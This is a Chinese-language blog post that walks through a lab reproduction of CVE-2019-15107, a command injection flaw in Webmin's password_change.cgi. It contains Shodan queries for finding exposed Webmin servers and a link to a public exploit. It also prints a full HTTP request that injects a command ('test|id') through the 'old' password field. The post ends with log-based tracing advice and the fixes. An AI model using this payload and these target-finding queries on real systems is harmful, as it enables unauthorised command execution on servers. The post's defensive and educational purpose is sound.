CVE-2019-15107 Webmin 远程命令执行漏洞复现

CVE-2019-15107 Webmin 远程命令执行漏洞复现

漏洞简述

Webmin是一套基于Web的用于类Unix操作系统中的系统管理工具。Webmin 1.920及之前版本中的password_change.cgi存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。

漏洞影响版本

Webmin <=1.920

Shodan 搜索语法

"MiniServ" http.title:"Login to Webmin"
http.favicon.hash:-95050582

漏洞exp

https://github.com/MuirlandOracle/CVE-2019-15107

漏洞环境搭建

使用vulhub进行复现。注意访问的时候用https,忽略浏览器的报错。

漏洞复现

当发送的user参数的值不是已知Linux用户的情况下,这里随便用一个未知的用户名,才会进入到修改/etc/shadow的地方,触发命令注入漏洞。

POST /password_change.cgi HTTP/1.1
Host: vul.zgao.top:10000
Cookie: JSESSIONID=AC21B387AEEE8F45636F4BD88DD29EA6; redirect=1; testing=1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 
Referer: https://vul.zgao.top:10000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

使用上面提供的exp执行命令。

溯源排查

日志文件:/var/webmin/miniserv.log

排查关键词:password_change.cgi

修复方式

  • 升级到Webmin 1.920以上版本
  • 禁用/password_change.cgi接口
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

发表评论